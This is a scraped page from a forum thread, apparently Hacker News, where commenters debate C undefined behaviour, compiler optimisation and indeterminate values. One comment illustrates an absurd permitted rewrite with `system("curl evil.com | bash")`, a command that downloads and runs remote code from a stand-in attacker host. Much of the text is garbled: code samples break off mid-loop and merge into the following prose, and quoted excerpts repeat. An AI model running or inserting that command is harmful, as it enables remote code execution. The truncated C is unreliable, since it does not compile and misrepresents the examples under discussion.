961–970 of 978 posts
Earlier quoted context omitted.
Have you given ada language a thought ? Also there are lot of competition your students can take part in https://www.makewithada.org/
I haven’t - is there a good tool chain you’d recommend me checking out? What’s the enduring idea in ada?
Earlier quoted context omitted.
Have you given ada language a thought ? Also there are lot of competition your students can take part in https://www.makewithada.org/
I haven’t - is there a good tool chain you’d recommend me checking out? What’s the enduring idea in ada?
Earlier quoted context omitted.
> This won't work because defective implementations will just claim that their intended purpose is to do [whatever emergent behaviour that implementation produces], or to generate the fastest code possible regardless of whether that code bears any relation to what the programmer asked for. I would have no qualm with the way clang and gcc process various constructs if they were to explicitly state that its maintainers…
Do you mean `x = slow_function_no_side_effects( x );`? Because if slow_function_no_side_effects really doesn't have side effects, then your version is equivalent to: x = slow_function_no_side_effects(); /* only once */ if(x > 1) for(;;) { /* infinite loop */ } return mode ? 1 : x; That said, I suppose it might be reasonable to explicitly note that a optimiser is allowed to make a program or subroutine complete in les…
In a broader sense, I think the problem is that the authors of the Standard have latched onto the idea that optimizations must not be observable unless a program invokes Undefined Behavior, and consequently any action that would make the effects of an optimization visible must be characterized as UB.
I think it would be far more useful to recognize that optimizations may, on an opt-in or opt-out basis, be allowed to do various things whose effects would be observable, and correct programs that would allow such optimizations must work correctly for any possible combination of effects. Consider the function:
struct blob { uint16_t a[100]; } x,y,z;
void test1(int *dat, int n)
{
struct blob temp;
for (int i=0; iWhile I would allow programmer to include directives mandating more precise behavior or allowing less precise behavior, I think the most useful set of behavioral guarantees would allow those elements of `x` and `y` to hold arbitrarily different values, but that `x` and `z` would match. My rationale would be that a programmer who sees `x` and `y` assigned from `temp` would be able to see where `temp` was created, and would be able to see that some parts of it might not have been written. If the programmer cared about ensuring that the parts of `x` and `y` corresponding to the unwritten parts matched, there would be many ways of doing that. If the programmer fails to do any of those things, it's likely because the programmer doesn't care about those values.
The programmer of function `test2()`, however, would generally have no way of knowing whether any part of `x` might hold something that won't behave as some possibly-meaningless number. Further, there's no practical way that the author of `test2` could ensure anything about the parts of `x` corresponding to parts of `temp` that don't be written. Thus, a compiler should not make any assumptions about whether a programmer cares about whether `z.a[2..99]` match `x.a[2..99]`.
A compiler's decision to optimize out assignments to `x[2..99]` and `y[2..99]` may be observable, but if code would not, in fact, care about whether `x[2..99]` and `y[2..99]` match, the fact that the optimization may cause the arrays to hold different Unspecified values should not affect any other aspect of program execution.
Earlier quoted context omitted.
Do you mean `x = slow_function_no_side_effects( x );`? Because if slow_function_no_side_effects really doesn't have side effects, then your version is equivalent to: x = slow_function_no_side_effects(); /* only once */ if(x > 1) for(;;) { /* infinite loop */ } return mode ? 1 : x; That said, I suppose it might be reasonable to explicitly note that a optimiser is allowed to make a program or subroutine complete in les…
Yeah, I meant `slow_function_no_side_effects(x)`. My point is that there's a huge difference between saying that a compiler need not treat a loop as sequenced with regard to outside code if none of the operations therein are likewise sequenced, versus saying that if a loop without side effects fails to terminate, compiler writers should regard all imaginable actions the program could perform as equally acceptable. In…
Yes, definitely true. It's debatable whether it's okay for a compiler to rewrite code as in second example at https://news.ycombinator.com/item?id=22903396 , but it is not debatable that rewriting it as with anything equivalent to:
if(x > 1 && x == slow_function_no_side_effects(x))
{ system("curl evil.com | bash"); }
> that the authors of the Standard have latched onto the idea that optimizations must not be observable unless a program invokes Undefined Behavior
I don't know if this quite characterizes the actual reasoning, but it does seem like a good summary of the overall situation, with "we might do x0 or x1, so x is undefined behaviour" ==> "x is undefined, so we'll do x79, even though we know that's horrible and obviously wrong".
> I think the most useful set of behavioral guarantees would allow those elements of `x` and `y` to hold arbitrarily different values, but that `x` and `z` would match.
Actually, I'm not sure that makes sense; your code is equivalent to:
struct blob { uint16_t a[100]; } x,y,z;
void test2(void)
{
int indices[] = {1,0};
; {
int* dat = indices;
int n = 2;
; {
struct blob temp;
for(int i=0; iEarlier quoted context omitted.
Yeah, I meant `slow_function_no_side_effects(x)`. My point is that there's a huge difference between saying that a compiler need not treat a loop as sequenced with regard to outside code if none of the operations therein are likewise sequenced, versus saying that if a loop without side effects fails to terminate, compiler writers should regard all imaginable actions the program could perform as equally acceptable. In…
> there's a huge difference between saying that a compiler need not treat a loop as sequenced with regard to outside code if none of the operations therein are likewise sequenced, versus saying that if a loop without side effects fails to terminate, compiler writers should regard all imaginable actions the program could perform as equally acceptable. Yes, definitely true. It's debatable whether it's okay for a compil…
Earlier quoted context omitted.
BTW, what do you think of the suggested text I offered near the top of this thread, that UB represents a waiver of the Standard's jurisdiction for the purpose of allowing implementations to best serve their intended purposes? It's too late to go back in time and add that to C89 or C99, but a lot of insanity could have been avoided had such text been present. Further, instead of characterizing as UB all situations whe…
> that UB represents a waiver of the Standard's jurisdiction for the purpose of allowing implementations to best serve their intended purposes? This won't work because defective implementations will just claim that their intended purpose is to do [whatever emergent behaviour that implementation produces], or to generate the fastest code possible regardless of whether that code bears any relation to what the programme…
struct blob { uint16_t a[100]; } x,y,z;
void test2(void)
{
int indices[] = {1,0};
{
int* dat = indices;
int n = 2;
{
struct blob temp;
for(int i=0; i struct blob { uint16_t a[100]; } x,y,z;
void test2(void)
{
int indices[] = {1,0};
{
int* dat = indices;
int n = 2;
{
struct blob temp1 = x; // Allowed initial value
struct blob temp2 = y; // Allowed initial value
for(int i=0; iIf one allows a compiler to split "temp" into two objects without having to pre-initialize the parts that hold Indeterminate Value, that may allow more efficient code generation than would be possible if either "temp" was regarded as holding Unspecified Value, or if copying a partially-initialized object as classified as "modern-style Undefined Behavior", making it necessary for programmers to manually initialize entire structures, including parts whose values would otherwise not observably affect program execution.
The optimization benefits of attaching loose semantics to objects of automatic duration whose address is not observable are generally greater than the marginal benefits of attaching those semantics to all objects. The risks, however, are relatively small since everything that could affect the objects would be confined to a single function (it an object's address is passed into another function, its address would be observable during the execution of that function).
BTW, automatic objects whose address isn't taken have behaved somewhat more loosely than static objects even in compilers that didn't optimized aggressively. Consider, for example:
volatile unsigned char x,y;
int test(int dummy, int mode)
{
register unsigned char result;
if (mode & 1) result = x;
if (mode & 2) result = y;
return result;
}
Should a compiler be required to initialize "result" in that situation, or should programmers be required to allow for the possibility that if they don't initialize an automatic object it might behave somewhat strangely?
The standard string library is still pretty bad. This would have been a much better addition for safe strcpy. Safe strcpy char *stecpy(char *d, const char *s, const char *e) { while (d Existing solutions are still error-prone, requiring continual recalculation of buffer len after each use in a long sequence, when the only thing that matters is where the buffer ends, which is effectively a constant across multiple cal…
Earlier quoted context omitted.
> that UB represents a waiver of the Standard's jurisdiction for the purpose of allowing implementations to best serve their intended purposes? This won't work because defective implementations will just claim that their intended purpose is to do [whatever emergent behaviour that implementation produces], or to generate the fastest code possible regardless of whether that code bears any relation to what the programme…
Replying to the code [discussed deeper in this sub-thread]: struct blob { uint16_t a[100]; } x,y,z; void test2(void) { int indices[] = {1,0}; { int* dat = indices; int n = 2; { struct blob temp; for(int i=0; i The rewrite sequence I would envision would be: struct blob { uint16_t a[100]; } x,y,z; void test2(void) { int indices[] = {1,0}; { int* dat = indices; int n = 2; { struct blob temp1 = x; // Allowed initial val…
> temp.a[dat[i]] = i; // This is what I'd meant
> struct blob temp1 = x; // Allowed initial value
x.a[dat[i]] = i;
y.a[dat[i]] = i;
> Compilers may replace an automatic object whose address is not observable with two objects,
That makes sense.
> do a sign-extending load from `x` and/or `y`
I assume you mean zero-extending; otherwise `x=255` would result in `result=-1`, which is clearly wrong.
> Should a compiler be required to initialize "result" in that situation, or should programmers be required to allow for the possibility that if they don't initialize an automatic object it might behave somewhat strangely?
Of course not. Result (assuming mode&3 == 0) is undefined, and behaviour characteristic of the environment is that result (aka eg eax) can hold any (say) 32-bit value (whether that's 0..FFFF'FFFF or -8000'0000..7FFF'FFFF depends on what operations are applied, but `int` suggests the latter).
None of this involves that the compiler infering objective (and frequently false) properties of the input program (such as "this loop will terminate" or "p != NULL"), though.
Earlier quoted context omitted.
Replying to the code [discussed deeper in this sub-thread]: struct blob { uint16_t a[100]; } x,y,z; void test2(void) { int indices[] = {1,0}; { int* dat = indices; int n = 2; { struct blob temp; for(int i=0; i The rewrite sequence I would envision would be: struct blob { uint16_t a[100]; } x,y,z; void test2(void) { int indices[] = {1,0}; { int* dat = indices; int n = 2; { struct blob temp1 = x; // Allowed initial val…
> temp.a[dat[i]] = i; // This is what I'd meant I see. > struct blob temp1 = x; // Allowed initial value With, I presume, a eye toward further producing: x.a[dat[i]] = i; y.a[dat[i]] = i; ? > Compilers may replace an automatic object whose address is not observable with two objects, That makes sense. > do a sign-extending load from `x` and/or `y` I assume you mean zero-extending; otherwise `x=255` would result in `re…
Bingo.
> I assume you mean zero-extending; otherwise `x=255` would result in `result=-1`, which is clearly wrong.
Naturally.
> None of this involves that the compiler infering objective (and frequently false) properties of the input program (such as "this loop will terminate" or "p != NULL"), though.
Thus the need to use an abstraction model which allows optimizations to alter observable aspects of a program whose behavior is, generally, defined. I wouldn't describe such things as "behavior characteristic of the environment", though the environment would affect the ways in which the effects of optimizations might be likely to manifest themselves.
Note that programs intended for different tasks on different platforms will benefit from slightly--but critically--different abstraction models, and there needs to be a way for programs to specify when deviations from the "load/store machine model" which would normally be acceptable, aren't. For example, there should be a way of indicating that a program requires that automatic objects always behave as though initialized with Unspecified rather than Indeterminate Value.
A good general-purpose abstraction model, however, should allow a compiler to make certain assumptions about the behaviors of constructs, or substitute alternative constructs whose behaviors would be allowed to differ, but would not allow a compiler to make assumptions about the behaviors of constructs it has changed to violate them.
Consider, for example:
typedef void proc(int); // Ever seen this shorthand for prototypes?
proc do_something1, do_something2, do_something3;
void test2(int z)
{
if (z There could be optimization value in allowing a compiler to treat automatic objects "symbolically", allowing the second assignment/test combination to become:
if (x*60000/60000 The guiding principle I would use in deciding that the value substitution would be reasonable when applied to y but not q or z would be that a programmer would be able to see how y's value is assigned, and see that it could produce something whose behavior would be "unusual", but a programmer looking at test2() would have no reason to believe such a thing about z.
Earlier quoted context omitted.
> temp.a[dat[i]] = i; // This is what I'd meant I see. > struct blob temp1 = x; // Allowed initial value With, I presume, a eye toward further producing: x.a[dat[i]] = i; y.a[dat[i]] = i; ? > Compilers may replace an automatic object whose address is not observable with two objects, That makes sense. > do a sign-extending load from `x` and/or `y` I assume you mean zero-extending; otherwise `x=255` would result in `re…
> With, I presume, a eye toward further producing: x.a[dat[i]] = i; y.a[dat[i]] = i; Bingo. > I assume you mean zero-extending; otherwise `x=255` would result in `result=-1`, which is clearly wrong. Naturally. > None of this involves that the compiler infering objective (and frequently false) properties of the input program (such as "this loop will terminate" or "p != NULL"), though. Thus the need to use an abstracti…
`result` being a 32-bit integer (register) of dubious signedness is behaviour characteristic of the environment, which the implementation is sometimes obliged to paper over (eg with `and eax FF`) in the interests of being able to write correct code.
> A good general-purpose abstraction model, however, should allow a compiler to make certain assumptions about the behaviors of constructs, or substitute alternative constructs whose behaviors would be allowed to differ, but would not allow a compiler to make assumptions about the behaviors of constructs it has changed to violate them.
> Under a good general-purpose model, a compiler could generate code that could never set q to a value greater than INT_MAX/60000, and a 32-bit compiler that did so could assume that q's value would always be in range and thus omit the comparison. A compiler could also generate code that would simply set q to x, but would forfeit the right to assume that it couldn't be greater than INT_MAX/60000.
Yes, clearly.
> I wouldn't favor allowing inconsistent substitutions by default, but would favor having a means of waiving normal behavioral guarantees
In that case, I'm not sure what we're even arguing about; the language standard might or might not standardize a way of specifying said waiver, but as long as it's not lumped in with -On or -std=blah that are necessary to get a proper compiler, it has no bearing on real-world programmers that're just trying get working code. Hell, I'd welcome a -Ounsafe or whatever, just to see what sort of horrible mess it makes, as long -Ono-unsafe exists and is the default.